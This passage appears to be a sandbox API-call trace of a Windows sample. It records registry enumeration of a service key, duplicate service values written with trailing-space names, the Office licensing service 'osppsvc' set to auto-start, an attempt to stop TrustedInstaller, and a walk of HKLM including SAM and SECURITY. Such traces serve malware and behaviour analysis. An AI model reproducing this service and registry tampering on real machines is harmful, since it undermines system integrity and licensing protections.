dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.973] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.973] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.973] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.973] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.973] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.973] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0253.973] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.973] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.973] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.973] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.973] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.974] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.975] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", cbData=0x5e | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"") returned 0x0 [0253.975] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" [0253.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0253.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0253.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0253.975] LocalFree (hMem=0x7f03d0) returned 0x0 [0253.975] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", cbData=0x5e | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"") returned 0x0 [0253.975] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x2) returned 0x803990 [0253.976] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.976] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.977] RegCloseKey (hKey=0xc4) returned 0x0 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0253.977] RegCloseKey (hKey=0x14c) returned 0x0 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0253.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0253.977] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xafbc0000, ftLastWriteTime.dwHighDateTime=0x1ca90be, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0253.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.978] GetLastError () returned 0x20 [0253.978] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.978] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.979] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.979] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x8038a0 [0253.979] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.979] GetLastError () returned 0x426 [0253.979] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.980] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.980] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.980] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.980] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.981] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.981] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.981] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.982] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.982] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.982] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.982] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.982] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1e38, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 